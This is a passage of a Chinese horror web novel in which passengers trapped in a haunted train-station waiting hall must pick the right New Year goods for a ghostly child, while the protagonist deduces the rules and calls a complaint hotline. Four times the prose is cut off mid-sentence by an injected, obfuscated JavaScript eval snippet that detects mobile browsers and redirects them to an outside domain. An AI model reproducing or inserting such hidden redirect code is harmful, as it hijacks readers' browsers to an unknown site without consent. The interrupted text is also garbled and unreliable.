听了两人的话,周格一副见了鬼的表情:“等等等等,虽然说这胖子确实看着很奇怪,但你们俩这脑洞未免也太大了吧!还人吃人……” 奚元、褚翊、张跳跳齐齐看向他。 周格:“你,你们这么看着我干嘛?” 张跳跳忍住没翻白眼:“看你单纯可爱。” 顿了顿,她继续说:“早就说过,在这里没有什么是不可能的,我也赞同奚元的猜测,因为在昨天,我闻到了胖子嘴里有一股腐肉味儿。” 此话一出,奚元的面色越发沉了,因为他也在胖子的嘴里闻到过这个味道。 忽地,他想起了一些被他忽略的细节。 昨天胖子的鱼不见了后有找过疯子的麻烦,疯子当时害怕成那样,都被吓尿了,真的只是单纯因为胖子长相语气过于凶狠吗?还是说,疯子是看到过什么极其可怖的画面,而那画面里有胖子的身影? 如果胖子真吃了那些尸体,那他为什么要这么做呢?单纯为了吃吗?还是说跟那年娃娃备年货有些关系?眼下这胖子又到底是人是鬼? 还有那正挂着的福字,胖子的鱼到底是不是被他自己给吃了,以及昨晚消失的男人会不会也是被胖子…… 一团乱麻,简直一团乱麻…… 奚元再次沉默下来。 这边奚元脑子一团乱找不着头绪,那边那肌肉男领着一群凶神恶煞的男的开始找事,竟然公然抢起别人的年货来,动静闹得很大。 一把椅子被甩飞的巨响传来,周格吓了一跳,转过身就要看发生了什么:“卧槽!那伙人又在发什么神经?抢别人的年货?他们手上不是已经有年货了吗?” 褚翊:“估计是嫌少。” 周格怒了:“有就不错了,他们还嫌少?” 张跳跳摇了摇头:“有的鬼身人心,有的人身鬼心,这个世界不人不鬼的实在太多了。” 说着,她叹了口气,看向几人:“你们想要管这闲事吗?” 褚翊没作答。 奚元倒是站了起来:“这不是管闲事,这个时候我们要是不去,过一会儿他们就该骑到我们头上来了,那肌肉男得想个办法控制住才行,否则跟他接触的人只会越来越多,到时候这大厅里恐怕所有人都要跟着他一起不得好死。” 说着,他起身朝惹事的地方走去,周格想了想,也跟了上去。 张跳跳看着两人走远,转头看向褚翊,笑了笑:“新人还是比我们有血性的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835554|175663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 褚翊勾了勾唇:“挺好的。” 两人起了身,也跟了过去。 等奚元四人赶到的时候,肌肉男领着的那伙人正压着好几个人在地上揍,篮子里的东西也已经被他们占为己有。 挨打的人想要反击,但体格上比不过,只能用手捂着自己的头,尝试用嘴讲道理:“你们不是已经有年货了吗?干嘛还要抢我的!” 哪知那群恶徒都不是讲道理的主,打得越发狠。 他们像是中邪了一般,瞳孔中飘着极浅的黑雾,那领头的肌肉男面相变化尤为明显,几乎无法称之为人了,他的黑瞳几乎已经占据了整个眼眶,眼白已经微乎其微,但他自己似乎一点没察觉,还在一旁大放厥词:“谁知道多少年货才能满足那年娃娃的胃口,只有你们这种蠢货抱着这点儿三瓜俩枣就以为安全了。” “你们……你们不能这样!” “废他妈什么话,老子抢就抢了,你管得着吗?” 眼看这群人下死手要把人给打死,奚元准备上去帮一把。 他现在十分感谢老爸老妈对他德智体美劳的全面培养,让他这么多年学的跆拳道终于有了用武之地。 正当他准备动手时,很久没有动静的广播这个时候响起。 【呀,快五点了呀,不知道大家帮我找的年货准备好了没有呢?我可迫不及待要拿到年货招待客人了哦,再过十分钟叭,十分钟后可就要验货了哦~】 一石激起千层浪,稚嫩的童声响起的瞬间,大厅里仿佛被下了什么催化剂,刚才还在打架地众人顿时停了手,所有人的情绪肉眼可见的崩盘。 “这……这是什么声音?” “是那年娃娃!是他……找我们要年货了!” “十……十分钟后就验货,怎么这么快?不是说晚上前吗?” “我,我还没拿到年货,不行,我不能死,我不能死!!” “停下来干什么?还不赶紧抢!” “啊啊啊啊啊!!我跟你拼了!!” 仅仅只几十秒的功夫,抢年货大战再次掀起,候车大厅陷入一片混乱,原本过来帮忙的奚元四人就这么被卷入漩涡中心。 那群恶徒像是受到了什么召唤,忽然变得异常兴奋,他们举起铁椅无差别朝人群扔去。 其中一个朝奚元等人方向砸来,动静尤其大,所有人都四散躲开,但奚元不知道怎么了,竟是呆立在原地一动不动。 “小心!”褚翊一个惊呼,拉过奚元,怒道:“你不要命了!这个时候走神!” 奚元像是陷入了深思:“刚刚广播里说‘招待客人’。” 褚翊:“什么招待客人?你又想到了什么?” 奚元眉头紧皱,他烦躁地摇了摇头:“说不上来,但……” “躲到我身后!”褚翊一把将奚元拉到身后,看着奚元,“你尽管想你的。” 说着一个横扫腿,踢飞了要过来找他们麻烦的人。 候车大厅一片乌烟瘴气,而此时奚元却是彻底地安静下来。 没人注意的是,此时的A1检票口,乘务员再次出现,这次出来的只有那位女的。 女乘务员照样试了试麦,兢兢业业地播报道:“列车停运,请大家今晚在候车大厅休息。” 混乱中,没有人关注到她说的话,唯独奚元。 原本还在沉思的奚元倏然抬头,看向女乘务员。 列车停运,这次说的是列车停运…… 一瞬之间,奚元恍若醍醐灌顶:“我知道了,我知道了!一切都说得通了!” 12. 客人 褚翊一脚踢飞那杀人犯后,转头望向奚元:“你知道什么了?” “我……”奚元刚要说话,脑子里却是闪过一个念头,那一瞬间,他神色骤变:“不,不对,都弄错了。” 周格抱着他的香橙味饼干勉强躲过了几轮攻击,他抽空回了奚元句:“大学霸,什么又错了?” 奚元脸色差到极点,只见他忽然扔掉一直揣在自己兜里的橘子干,再次厉声道:“我们的年货,全部都是错的!你们要不想死就赶紧把它们给扔了!” 周格:“什么?!” 人群里有人停下手来。 被褚翊一角踢飞的肌肉男这时从地上爬了起来,他朝地上吐了口血渍,狠厉地骂了声脏话:“傻缺,你以为你这样能怂恿得了谁?临近要交年货了你说年货错了?搞特么什么诱骗?有本事靠抢啊,你要抢不到,那就我来抢你的!” 说着他就朝奚元这边扑来,那架势像是要把人生吞活剥了。 奚元却是没理他,褚翊身手好,在他面前挡着他没什么好担心的,而且这会儿也不是搭理他的时候,眼下已经容不得他再浪费时间:“时间不多了,如果你们愿意相信我,就赶紧丢了手里的黄色篮子和所有跟橘子相关的东西,去便利店重新拿商品!” 这次,更多人停止了争抢,人群中传来一个声音:“给我个理由!” 奚元神色凝重:“理由就是,那年娃娃要招待的客人不是别人,正是我们自己!” 周格:“啊……啊?” 奚元:“还不清楚吗?那广播里说我们找到的年货是要用来招待客人的,这个一直被我们忽略的客人到底是谁?高铁站已经有好几天没再来新的乘客了,列车也一直没有再开过来,这候车大厅里除了我们,不会再有别的‘客人’,表面上那年娃娃是让我们挑喜欢的年货,实际上他是在挑自己喜欢的客人,谁才是他喜欢的客人?拿了他喜欢的年货的就是!” “怎么,你们再不丢了手里的东西,是想留着一起跟他温馨过大年吗?” 话已至此,奚元不再多说,拉着褚翊、周格、张跳跳三人就去便利店里重新拿东西。 至于其他人……可能是之前奚元在找年货的时候表现出了一些令人信服的本事,也有可能是奚元刚才说话的态度不像是在糊弄人,没过多久,有人就扔了手上的东西,跟着他们后面进去了。 “说的好像有那么点道理。” 人群里传来议论声。 “是啊,听这帅哥这么一说,突然就感觉那年画上的橘子画的也忒明显了,诶,你觉得是不是?” “你看他自己都进便利店了,我觉得吧,宁可信其有不可信其无,走,进去换去。” 【距离验货还有三分钟哦~】 “卧槽!时间来不及了!” 这一下,便利店里涌进去了一大波人,只有零星几个还站在大厅里犹豫。 肌肉男领头的那帮人一直没动,不知道是因为受了那镜子的影响,还是压根儿就不信奚元的话,他们不光没动,还怂恿着别人别去。 有几个男人在他们的怂恿下犹豫不决,还觉得这是奚元想骗年货的把戏,但等到他们看到奚元几人不紧不慢地从便利店里走出来,并没有其他动作时,他们这才慌了,忙不迭地要往店里跑,但就在这时—— 【嘻嘻嘻,准备验货啦!】 稚嫩的声音再次从广播里传来,声音响起的瞬间,所有人身体一僵,像是被不明物体控制住了一般机械地走动起来。 “怎,怎么回事?” “我不能控制我自己了,啊啊啊啊啊!” “呜呜呜呜,我不想死,我还不想死!” 人群中哀嚎四起,连奚元都不由得发慌。 “难道我的猜测不对?”他不由得怀疑起自己。 “不,你的猜测是对的。”却听他身边的褚翊淡淡道。 褚翊依旧是那个不紧不慢的语气,他似乎总是淡淡的,在这个时候竟是让人莫名觉得心安。 “相信我。”只听褚翊又说。 奚元便真的安心下来。 所有人被迫回到了自己的位置上。 铛——铛——铛—— 候车大厅里响起三声铃声,一股刺骨的冷气四面八方飘了进来,钻进了每个人的骨头里,冷的人心尖发颤。 “呵呵呵呵呵。”年娃娃哼出了笑声。 “看来大家都备好年货了呢,唔,那就让我验验货,看看是不是都是我喜欢的吧~” 咚、咚、咚—— 沉闷的脚步声响彻候车大厅,却始终只闻其声,不见其人。 所有人都害怕地闭了嘴。 刺骨的冷气还在大厅里飘着,伴随着脚步声停在了每一位乘客的跟前。 第一个遭殃的是是个中年短发女人,女人身边留的是红篮子,篮子里装着一包湿纸巾,当脚步声停在女人跟前的时候,女人感觉那风也从她身上缠绕而过,最后飘进了篮子里,女人被吓得大气不敢喘,紧闭着眼睛,都快哭了。 阴风在篮子里蹿了一会儿后,女人跟前那年娃娃的声音响起:“怎么回事!竟然不是我喜欢的年货!” 声音听着很生气,像是下一秒就要震怒杀人一般,女人当即被吓得流出泪来。 不光这女人,其他一些人也被吓哭了,人群里传来一阵啜泣。 但想象中的恐怖场景并没有发生,脚步声和风声并未多做停留,往其他乘客而去,一连好几个,它都没有得到自己想要的年货,语气越来越暴躁。 “不是我喜欢的,不是我喜欢的!通通不是我喜欢的!那年货呢!我要的年货到底在哪儿!!” 直到它来到肌肉男跟前,在篮子里转了一圈后,它的态度终于迎来180度大转变。 “呀,黄色的篮子,橘子味的汽水,橘子罐头,还有橘子软糖!都是我喜欢的年货呢!这位乘客,你真的帮了我好大一个忙呀!” 脚步声又轻快地响了几下,仿佛那年娃娃正在肌肉男面前开心的跺脚。 肌肉男嘴角扬起微笑,他听着自己面前发出的愉悦的声音,竟是胆子大到敢跟它对话。 “喂,我选对了吧?”他自信发问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835555|175663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “选对啦选对啦!这下不愁没有年货招待客人啦!” 肌肉男的表情越发的洋洋自得。 “年货,年货!我要更多的年货!” 年娃娃也一下子变得异常兴奋,只听地面上的脚步声忽然加快,阴风在大厅里呼号而起,它快速地从每个人,每个篮子里掠过,“年货,年货,年货……”的声音在大厅里绵延不绝。 “呜呜,呜呜呜啊啊啊啊啊啊!!!” 有人再也控制不住,失声痛苦起来,一石激起千层浪,不一会儿,整个候车大厅哭号啜泣声混杂着年娃娃的声音此起彼伏。 奚元看着眼前的一切,只觉得两眼黑了一黑又一黑,他强撑着没有让自己吓晕过去。 阴风终于是刮到了他的面前,当它从他身上绕过的时候,他只感觉整个心脏都被凉意刺穿了,但他没吭声,等着它从他跟前过去。 哪曾想阴风在走之前,竟是在他耳边发出哼的一声,而后,他感觉自己的脚好像被人踩了一脚。 奚元:…… 风吹走了,褚翊笑了。 “它好像对你挺不满意。” 奚元表面上云淡风轻,实则内心已经惊涛骇浪,他欲哭无泪:“呵呵,是吗?” “我感觉它踩了你一脚。” “可能……是不小心的吧。” “只踩了你。” “褚翊你快别说了。” …… 候车大厅内挂起的阴风似乎停了,脚步声也跟着一起消失不见。 “我觉得我选错了,不应该进便利店换的。”人群里有人开始说,“刚才那东西凶得恨不得把我生吞了,我,我感觉我要死了。” 有人颤抖着应和:“是啊,要是选对了,它怎么可能会对我们这个态度,而对那杀人犯……” 他看到了肌肉男洋洋自得的表情,心里越发的绝望起来。 有人把矛头指向了奚元:“还不都怪那小年轻,要不是他怂恿,我们怎么可能会去换东西!” 跟着附和这说法的人越来越多,要不是现在坐着不能动,这会儿奚元身边应该拿枪带棒围了一圈人。 就连周格都被这架势搞得不自信了,他忧心忡忡地看着奚元:“兄弟,到底靠谱吗?” 奚元还沉浸在那邪祟踩他一脚的恐惧中,听见周格叫他,他打了个哆嗦,而后想也没想就说靠谱。 周格看奚元那样,觉得很没有信服力:“你确定真靠谱?” 奚元越想越害怕,赶紧看了眼旁边的褚翊,看到褚翊一副泰然自若的模样,他当即心中舒畅了不少。 天啊,定心丸都不一定有褚翊这么好使吧! “喂!奚元!” 走神的奚元把视线从褚翊身上转移到了周格身上:“啊?” “我刚问你话呢。” “你问我啥了?” “我问你你确定你之前说的那些都是靠谱的吧?” 奚元神色好了不少。 “当然。”只听他说,“就凭刚才那邪祟踩我一脚,我的推断就错不了。” 13. 垃圾 周格脑子一根筋,没听明白,还在那问:“怎么个意思?” 旁边的张跳跳听不下去翻了个白眼:“还能是什么意思,那邪祟踩奚元一脚,肯定就是奚元戳穿了他的伎俩,他恼羞成怒了呗。” 周格:“哦,那那邪祟咋还冲着肌肉男乐呵?” 张跳跳:“……乐呵是一回事儿,抓人又——” “别聊了。”褚翊忽然打断两人,他紧盯着前方,“前面有动静了。” 奚元、张跳跳、周格三人脸色顿时一沉,齐齐朝前边望去,与此同时候车大厅里叽叽喳喳的声音小了很多。 就见坐在前边儿的肌肉男已经起了身,不知怎么搞的,他的眼睛已经全白,没有了黑仁,紧接着是他的一群跟班,再然后就是受他怂恿,最后关头没进便利店换东西的几位乘客,他们同他一样,都站得笔直,眼睛也都白了。 这几人无一例外,全部都手拿橘子年货。 “我最爱的几位客人,快进来落席啦!” 便利店里一声愉悦的呼唤响起,站起来的几人有了动作,只见他们迈出了步子,像是受到召唤一般朝便利店走去,而他们的表情早已凝固在了阴风吹走前,僵硬的再没有任何变化。 哐! 便利店的转闸门在几人走进去后狠狠关上,发出令人心惊的巨响。 世界静音几秒—— “啊啊啊啊啊啊!!!” 忽然,数声惨叫从便利店里传出,声音撕心裂肺,惨绝人寰,紧接着转闸门也发出嘭嘭嘭的动静,像是里面的人在疯狂地敲打大门想要出去。 绝望的洪流在大厅里蔓延,直到里面没了声,世界再次安静。 一分钟后—— 滋滋滋滋滋滋。 转闸门被重新打开,便利店里的场景再次呈现在所有人面前,外面的乘客只消看一眼,便已瑟瑟发抖。 那是一个堪称诡异的画面。 原本陈列的货架已经全部消失不见,便利店里红灯笼罩,正中央摆了一张刷了红漆的木桌,走进便利店的几人坐在木桌边的红木椅上,笑容灿烂。 控制着乘客的那股诡异力量慢慢散去,有人动了动,从椅子上站了起来。 坐得离便利店最近的几人被吓得直跳脚,人一能动他们就跑远了,其他乘客也没好到哪里去,有的胆子小的都被吓哭了。 但也有些胆子大的,他们试探着靠近便利店,但也仅仅只是站在便利店五米开外,不敢再往前,看着便利店里坐得僵直的几人,他们窃窃私语起来。 “果然跟那帅哥说的一样,他们被当成客人了。” “所以他们现在……到底是死是活?” “这谁知道啊,要不你进去看看?” “你怎么不进去?这里面红灯笼一挂,饭桌一摆,像是要吹号吃席一样,你敢进?” 正说着,一个人影从他们身边闪过,几个大跨步走进了便利店。 是褚翊。 看热闹的几人顿时惊掉了下巴:“还真有人敢进去!” 紧接着又是第二个身影,这次是奚元,他在便利店门前徘徊了几下后,也犹犹豫豫的进去了。 “还一进进俩!”这下全大厅的人都惊呆了,有人由衷地比了个大拇指,“这俩小哥还真是……艺高人胆大啊!” 便利店外面围着的人渐渐多了起来,都在看褚翊和奚元的热闹。 先进去的褚翊也注意到了后脚跟进来的奚元,等奚元赶上他时,他问:“你进来干什么?” 奚元:“进来找找线索啊,你不也进来了。” 褚翊微微眯眼:“你就不怕跟他们一起排排坐?” 他边说着边指了指桌边坐着的几人。 奚元心里一激灵,嘴上却还硬着:“横竖都是一死,还不如进来碰碰运气。” 说完赶紧远离红木桌,往收银台方向去了,他心里本来就怕,现在被褚翊这么一说,就更加不敢靠近那瘆人的红木桌了。 他进了收银台里面。 之前奚元没觉得,现在仔细打量收银台却是觉得它的设计有点儿古怪,整个台身被砌的很高,若是一个个子矮小的女生坐在里面,估计能被整个挡住,就连老板娘一米七几的高个子差不多也只能露出个头。 进收银台的通道入口也很小,只能容纳一个人侧身进出,里面的逼仄空间让人走动两步都很困难,整个收银台给人感觉像个不透气的囚笼。 奚元不太舒服地皱了皱眉,转头看向了低矮的台面,台面上摆放着的都是老板娘日常用的东西,一把剪刀,剪刀上黏了胶水,还有一些从中间断掉的长头发,剪刀旁还放了一个粉扑,那粉扑很脏,上面沾满了粉底液,散粉撒了一桌子。再然后就是一个电脑,一个计算器,以及一个座机,至于其他……奚元又弯腰在桌子附近找了找,并没有什么发现。 看着都是些很普通的东西,奚元看了半天也没看出什么异样,便从收银台出去了。 外面的人见奚元出来,便问:“有什么发现吗?” 奚元掸了掸衣服,摇摇头:“目前没看出什么异样。” “那我们是不是就安全了?” 奚元神色没有丝毫好转:“恰恰相反,我们估计离死不远了。” 此话一出,外面的人哗然:“你,你什么意思?客人不是都已经找到了吗?还有我们什么事?” 只听奚元哀叹一声:“正是因为没有我们什么事,所以我们很快就要被当成垃圾清理掉了。” “什,什么?” 如此危言耸听的言论让外面的乘客惊慌失措,质问声霎时此起彼伏,都在问奚元这话什么意思。 奚元在收银台前站定,他的神色看起来有些烦躁:“想想这几天发生的事,候车大厅发生第一起怪事是在腊月二十四,那天晚上有人疯了,醒来后就只知道扫地,嘴里还念叨着不想过年;腊月二十五,一位中年妇女失踪了,同一时候大厅里多出来一张福字剪纸;腊月二十六,坐在我斜对面的胖子说他的鱼不见了,与此同时我却在他嘴巴里闻到了一股鱼腥味和腐臭味;腊月二十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835556|175663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 七,大厅里又死了一个男人,再然后就是今天,我们开始找起了年货。这所有的事情放到一起,你们觉得这像是在干什么?” 没有人再说话了,就连一直在红木桌附近转悠的褚翊都停了下来,倚在墙上看向奚元。 奚元继续说:“这像是在为大年三十的过年作准备。” “疯子精神失常后为什么只想着扫地?他为什么嘴里一直嚷嚷着不想过年?想必是那晚他看到或者做过跟扫地和过年相关的事,过年前扫地,在习俗里我们叫除尘;而接下来挂起的福字则像是在给候车大厅冲喜,这便是过年第二大必做之事:迎福;至于腊月二十六、二十七丢了鱼又死了人……” 一直站在人群最前面的周格这个时候插进来一句:“你不会是想说……这是在准备大年三十的年夜饭吧?” 奚元:“没错,想想年娃娃之前说过的过年要有大鱼大肉,他极有可能指的就是字面意义上的大鱼和大肉。” 人群中个个露出惊恐之色:“你,你说的这些跟我们有什么关系!” 奚元:“当然有关系。眼下大鱼大肉有了,年货也已经选好了,就连年夜饭桌都已经摆上,客人已经落座,一切准备就绪,我们对于年娃娃来说已经没有了任何价值,没有价值的东西对于他来说就是垃圾,垃圾就会被他打扫干净,就像那疯子一直在搞卫生,就像传送机上那些莫名奇妙被清理掉的尸体。” 不知道是不是因为心中焦躁,奚元只觉得口干舌燥,他咽了咽口水,才继续说,“还记得我说的那胖子嘴里有股鱼腥和腐臭味吗,我估计这候车大厅里所有所谓的垃圾都进了他的嘴,我们也不会例外。” 死一般的寂静,任谁听到自己即将被生吞活剥掉,都无法相信。 “胡说!那胖子怎么可能把我们所有人都吃了!明明是只要我们不招惹到年娃娃,我们就安全了,现在只要等到列车过来,我们就可以离开这里!” “就是,说不定列车马上就要来了!” 便利店外一片沸腾,奚元视线扫过众人,垂下眼眸,终是叹了口气:“列车不是马上就要来了,而是它已经到了,但我们依旧走不了。” “列车已经到了?什么时候的事儿我们怎么不知道?” 奚元:“就在不久前,那位女乘务员说的。” 有人站了出来:“乘务员什么时候有说过这话?还说什么我们走不了?怕不是你危言耸听自己杜撰的吧!” 一直静静看着的褚翊这时走了过来,站在了奚元旁边,他替奚元说:“就在不久前你们为了几个年货抢来抢去的时候说的,只不过你们没有认真听罢了。” 站出来的那人急忙道:“是以为我们聋了吗?乘务员明明说的是列车停运,让我们再休息一晚上,这不跟前几天说的一样么?哪一句说的是列车来了?又什么时候说了不能走?不还有两天猜到大年三十吗?你他妈不要挑事儿好不好!” 褚翊耐心听他说完,而后缓缓开口,用平淡的语气吐出一句:“你确定她今天说的跟之前一样?” 14. 投诉 奚元心中泛起一丝暖意,他没想到一直少言寡语的褚翊会这个时候站出来替他说话,同时他也惊讶于褚翊竟是也早就已经关注到了乘务员的不对劲。 他心中感叹着,接过了褚翊的话:“你们仔细想想之前那乘务员一直说的都是什么?” 有好几人忙说:“她说,她说……” 吞吞吐吐了半天,却是什么也没说出来,他们这才发现,乘务员的话他们只记得了个大概,但具体说了什么却是忘了。 见众人说不出话,奚元继续说:“我只来这儿三天,但我记得很清楚,之前的两次,乘务员说了同样的两句话:‘今晚到明天下午八点高铁无班次运行’、以及‘列车还没来,请今晚在候车大厅休息’,但今天她说的却是‘列车停运,请大家今晚在候车大厅休息’,听着好像差不多的通知,却是完全不同的两种话术,乘务员为什么要突然换一种说辞?” 人群中有人道:“有什么好为什么的!有什么话想说就说了,只是说法不一样,本质意思有什么区别!” “区别大了。”奚元提高了音量,“当一个常年用相同句式的人突然换了个话术时,就是她在向我们传递跟寻常不一样的讯号,她在告诉我们,来接我们的列车发生了某些变化。比如时间,之前乘务员都会告诉我们今晚到明天下午八点都不会有列车来,但这次,她却没有说明任何时间节点,这不是她忘了说,而是她觉得这已经不是一个值得告诉乘客的信息,因为她知道列车已经永远没办法再发车。再比如列车状态,乘务员从反复强调的‘列车没来’到突然变成了‘列车停运’,潜台词是在说列车发不出车的问题发生了转移,也就是说‘列车没来’这一问题已经得到了解决,一直没来的列车其实已经来了,至于为什么列车来了还会出现‘列车停运’这一新问题,必然是出现了其他什么意外,至于这个意外……” 奚元扶着下巴思忖片刻:“想必只有两种可能性,其一:开来的列车被人为破坏了,无法再启动;其二:负责开车的列车长死了,没人再给我们开车。” 他说到这时,褚翊突然插了句嘴:“绝不是第一种可能。” 奚元惊讶看向褚翊:“为什么?” 褚翊目光柔和微微抿唇,回答的含糊:“总之不是。” 奚元只定定看了褚翊几秒,便挪开了视线:“好吧,那就只剩下一种可能,给我们开车的列车长死了。” “什么?列车长死了?”人群里传来不可置信的声音,很快,不可置信转变为惊恐,有人尖叫出声,“那那我们岂不是全完蛋了!30号之前可是必须要从这里出去的,不然我们,我们全部都要死在这里!” “如果你说的是真的,那年娃娃就没想让我们活着离开这里!他左杀一个右杀一个,钝刀砍肉,就是在折磨我们!他没想放过我们,他就是想让我们在恐惧中被他一点点玩死!” “他妈的都怪你!要不是你说今年想回家看看,我他妈压根儿就不会出现在这里,现在好了,现在好了!” “呜呜呜呜呜呜呜呜。” …… 恐慌的情绪一旦开始蔓延便是迅速又致命,很快,大厅里就吵翻了天。 前面好像已经没有了路走,后面又是镰刀索命,他们已经被逼到了悬崖边,下一步就是万丈深渊。 奚元陷入了沉思,心中的焦躁已然翻腾。 到底还有什么是他忽略了的,解决问题总得知道些已知条件,现在还有什么已知条件是他没注意到的。 已知条件,已知条件…… 忽然,他瞳孔骤然放大,他想到什么:“或许有一个办法。” 说着,他瞥了眼旁边收银台上放着的座机,伸手从收银台前拿起话筒,在便利店外围观的所有人都纷纷往前,站得离便利店更近了些。 褚翊则是不紧不慢地走到了奚元旁边,单手撑着收银台,微微侧头,问:“什么办法?” 奚元凝神看着手里的座机话筒,道:“在这个候车大厅,合理与不合理并存,有时候我们不能拿常理思考事情,但有时候却也可以,还记得那女乘务员胸前别的工牌吗?如果我没记错的话,那上面有一串投诉电话。” 褚翊:“你的意思是……” 奚元侧头看向褚翊:“我们早该想到的,高铁站里连一辆列车都发不出,现在又死了列车长引起了乘客恐慌,所有这些,难道不都是极其正当的投诉理由吗?” 褚翊眼角微微眯起。 奚元却来不及看褚翊的表情,他当即伸手向身后的收银台探去,从里面拿出座机,在上面按下一串号码。 奚元有个优点,脑子好使,记性尤其好,那匆匆一瞥的电话号码,此时依旧记得一清二楚。 嘟——嘟——嘟。 座机里传来声音,整个候车大厅都屏气凝神。 “尊敬的乘客您好,欢迎致电年年高铁。” 话筒里声音传出的瞬间,无人不倒吸一口凉气,估计大家都没想到,这投诉电话竟然还真的接通了…… 奚元没有丝毫耽误,当即说:“我要投诉。” “请问发生了什么事?”女客服的声音甜腻极了,像是被泡进了粘稠的蜜糖里,听着让人觉得极度不适。 奚元嫌弃的皱了皱眉,语气却依旧平稳:“我们这里死了列车长,现在列车停运了,我们这儿需要一个新的列车长。” 话筒那头传来几声嘟嘟嘟的声音,几秒后,客服的声音才再次出现:“这显示您所提出的诉求属实,这边会尽快为您安排新列车长哦。” 奚元眼中一亮:“什么时候?” 客服:“预计最早正月初二呢。” 奚元:“……你怎么不等我们入土了再派人过来。” 客服:“您的这一诉求我们也是可以实现的呢。” 奚元:……………… “我的意思是能不能尽快派人过来,三十号之前都行。” “很抱歉无法满足您的诉求,春运高峰期间,列车长人手紧张,短期内无法向您额外派出哦。不过……”客服顿了顿,“还是有一个好消息要告诉您,您所在的候车大厅中,还有一位不愿透露姓名的列车长,TA或许能解决您的烦恼。只是……” “只是什么?” “这位列车长十分胆小谨慎,TA总是喜欢隐姓埋名,不愿让人知道TA是谁。” 奚元捏话筒的手紧了紧:“那我该怎么找到TA?” 与此同时,几十双目光落在话筒上。 “恐惧是世界上最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835557|175663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 致命的弱点,能让人无所遁形。”客服的声音响起,滑腻的声音像裹了一层密不透风的糖丝,连话筒都变得粘腻起来,“当你在恐惧它的时候,或许它也在恐惧你。时间不多了,今晚之前,就是你们的最后期限。” “什么意思?”奚元还要再问些什么,电话那头却是很突兀的就挂断了。 空气中只留下最后通牒的回响,以及沉闷的气压。 此刻,惊恐映在了每个人的脸上,没有一个人抬起头来。 奚元:…… 他把话筒放回了座机上,陷入了沉默。 客服最后说的那几句话别有一番深意,似乎是在明里暗里告诉他些什么,但那到底是什么意思呢?他一时间琢磨不明白,只听懂了客服最后的告诫。 今晚之前,候车大厅里的诡异事情必须要有个了解,不然明天早上,这里的所有人都没办法再醒来。 现在就已经下午七点多了,留给他们的时间比他想的还要短。 “喂,奚元,奚元!”旁边的褚翊叫他,他这才有所反应,语气含糊的“嗯?”了声。 褚翊轻吐出一口气:“我说,我们还是先出去吧。” “哦。”奚元这下是完全回神了,他瞥了眼那红木桌上坐得笔直,笑容灿烂的几人,问,“你那儿的线索不找了吗?” 褚翊:“没发现什么线索,待这儿也没用。” 顿了顿,他意识到什么,“怎么,你还想在这儿看看。” 褚翊都要走了,奚元一个人自然也不敢待在这儿看,于是便说:“我看也没什么特别的,那就先走吧。” 两人并肩出了便利店,前脚刚踏出去,便利店外候着的一群人后脚就拥了上来,一个两个都问奚元接下来该怎么办,感情是把奚元当参考答案了。 奚元这次却是没有再回应他们,只顾跟着褚翊、周格、张跳跳三人,闷头走着。 实在不是他不想回应,而是眼下他也不知道该怎么办。 那位隐姓埋名的列车员是谁?在哪儿?怎么找?又跟最近几天发生的一桩桩诡异的事有没有什么关联?这些都是刚才这通电话后出现的新问题,他还得再花点时间想想。 比如说想想客服说的那段话的含义,想想什么叫“当你在恐惧它的时候,或许它也在恐惧你。”。 当你在恐惧它的时候,或许它也在恐惧你…… “我看我们还是换个地方坐吧,坐这儿怪瘆人的。”周格的声音在奚元耳边响起。 奚元思绪回笼,发现自己已经站在了原来休息的座位边,他转头就看到周格一脸害怕地瞟斜对面还没醒过来的胖子,明白过来,周格这是把他说的胖子吃人的猜测真的放在了心上。 于是他附和句:“走吧。” 说着,拿起椅子上的背包和旁边的箱子就往候车大厅后面走。 周格和张跳跳很快拿了行李跟了上去,等奚元回头望大家是不是都是一起走的时,却是看到褚翊并没有跟上来。 只见褚翊走到了胖子跟前,他把一直拿在手上的那瓶水递给了胖子的女朋友,说了句:“拿着吧,给你男朋友喝。” 